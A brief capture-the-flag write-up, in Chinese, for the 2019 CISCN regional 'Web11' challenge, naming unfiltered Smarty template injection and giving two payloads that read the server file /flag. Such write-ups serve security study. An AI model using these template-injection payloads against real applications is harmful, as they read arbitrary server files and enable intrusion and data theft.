> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-ciscn/hua-dong-nan-sai-qu-web11.md).

# \[华东南赛区]Web11

smarty模板注入，没有过滤，payload：

```
{if show_source('/flag')}{/if}
{readfile('/flag')}
```